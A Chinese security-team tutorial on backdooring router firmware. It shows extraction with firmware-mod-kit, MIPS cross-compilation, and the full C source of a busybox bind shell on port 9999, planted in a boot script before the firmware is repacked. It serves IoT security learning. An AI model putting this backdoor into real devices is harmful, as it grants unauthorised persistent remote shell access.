声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
上一篇文章内容介绍了如何使用Firmadyne进行固件仿真,Firmadyne底层基于QEMU虚拟机,该工具可以对整个固件包的系统架构进行仿真并运行固件,本文内容主要描述了对固件包进行篡改后重新打包的过程。
固件篡改过程中会用到FMK工具-firmware-mod-kit,该工具可以利用binwalk等工具从固件中提取出文件系统,将提出的文件系统内容进行篡改后,再重新打包成新的固件包,最后将篡改后的固件包刷新设备中,安装命令如下,该工具attifyOS系统中已经部署好了,不再展开详述。
安装命令:
git clone --recursive https://github.com/attify/firmware-analysis-toolkit.git
这里我们采用extract-firmware.sh来提取固件中文件系统,打开FMK目录运行以下命令:
./extract-firmware.sh 固件包名称
打开提取固件完成后的目录,发现目录中存在以下文件夹:image_parts、logs、rootfs 。查看文件夹内容,可以看到rootfs目录包含了一个完整的文件系统,也就是添加后门的主要位置。
添加后门程序需要查看固件所基于的架构,如主流的ARM及MIPS等架构:
ARM是高级精简指令集的简称(Advanced RISC Machine),它是一个32位的精简指令集架构,但也配备16位指令集,一般来讲比等价32位代码节省达35%,却能保留32位系统的所有优势。ARM处理器的主要特点是:
体积小、低功耗、低成本、高性能——ARM被广泛应用在嵌入式系统中的最重要的原因 支持Thumb(16位)/ARM(32位)双指令集,能很好的兼容8位/16位器件;
大量使用寄存器,指令执行速度更快;
大多数数据操作都在寄存器中完成;
寻址方式灵活简单,执行效率高;
指令长度固定。
Load_store结构:在RISC中,所有的计算都要求在寄存器中完成。而寄存器和内存的通信则由单独的指令来完成。而在CSIC中,CPU是可以直接对内存进行操作的。流水线处理方式。
MIPS架构(英语:MIPS architecture,为Microprocessor without interlocked piped stages architecture的缩写,亦为Millions of Instructions Per Second的相关语),是一种采取精简指令集(RISC)的处理器架构,1981年出现,由MIPS科技公司开发并授权,广泛被使用在许多电子产品、网络设备、个人娱乐装置与商业装置上。最早的MIPS架构是32位,最新的版本已经变成64位。
MIPS的基本特点是:
包含大量的寄存器、指令数和字符。
可视的管道延时时隙。
这些特性使MIPS架构能够提供最高的每平方毫米性能和当今SoC设计中最低的能耗。
X86
X86架构是芯片巨头Intel设计制造的一种微处理器体系结构的统称。如果这样说你不理解,那么当我说出8086,80286等这样的词汇时,相信你肯定马上就理解了,正是基于此,X86架构这个名称被广为人知。如今,我们所用的PC绝大部分都是X86架构。可见X86架构普及程度,这也和Intel的霸主地位密切相关。x86采用CISC(Complex Instruction Set Computer,复杂指令集计算机)架构。与采用RISC不同的是,在CISC处理器中,程序的各条指令是按顺序串行执行的,每条指令中的各个操作也是按顺序串行执行的。顺序执行的优点是控制简单,但计算机各部分的利用率不高,执行速度慢。
使用readelf命令查看固件所基于的系统,发现系统架构为小端MIPS:
readelf -h busybox //rootfs系统中任意文件执行readelf命令
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>#define SERVER_PORT 9999
/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
* Bind Shell using Fork for my TP-Link mr3020 router running
busybox
* Arch : MIPS
* mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB - march=24kc
*/
int main() {
int serverfd, clientfd, server_pid, i = 0;
char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
struct sockaddr_in server, client;
socklen_t len;server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 1);while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client,
&len);
server_pid = fork();
if (server_pid) {
write(clientfd, banner, strlen(banner));
for(; i <3 /*u*/; i++) dup2(clientfd, i);
execve("/bin/busybox", args, (char *) 0);
close(clientfd);
} close(clientfd);
} return 0;
}
安装依赖库:sudo apt-get update
sudo apt-get install libncurses5-dev patch下载源码:
git clone https://github.com/buildroot/buildroot.git
执行make list-defconfigs
命令查看开发板配置
执行make menuconfig
进行配置命令以后会出现Buildroot的编译配置界面:选择 Target options(目标配置)Target Architecture (MIPS (little endian)),配置 Target Architecture(目标架构)为 MIPS (little endian),Target Architecture Variant 自动配置为(Generic MIPS32),不需要修改。其实,最后生成的编译器在编译程序的时,可以添加选项供用户进行大端或者小端的设置。如配置交叉编译环境过程中遇到问题请参考MIPS交叉编译环境的搭建指南,直到环境搭建完成后才发现attifyOS中已部署好该环境。。。
编译经过一段时间的编译完成以后,在Buildroot的根目录下会增加一个output文件,其中包含已经编译好的文件。可以在 buildroot/output/host/usr/bin目录下找到生成的交叉编译工具,mips的编译器就是该目录下的mipsel-linux-gcc。
执行mipsel-linux-gcc --version
查看版本将上文中的后门文件bindshell.c进行编译为能够 植入文件系统的二进制文件。
选择放置后门二进制文件的位置:/rootfs/etc/templates
在/etc/scripts/system.sh脚本中调用后门二进制文件bindshell:(文章是之前写的,竟然少了个图,硬盘没带)
最后使用build-firmware.sh将篡改后的文件系统重新打包为新的固件包。
此处注意下测试的固件版本是否有固件签名和校验值验证等操作,如果有固件校验等操作,初学者建议换个防护性较差的低版本来作为入门练习,开始未注意固件版本爬了许多坑,查阅很多资料,最后才测试成功。
http://m.elecfans.com/article/589086.html
https://blog.csdn.net/qq1084283172/article/details/68950682
http://www.mamicode.com/info-detail-2822683.html
《揭秘家用路由器0day漏洞挖掘技术》
《IOT_PENETRATION》
E
N
D
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号: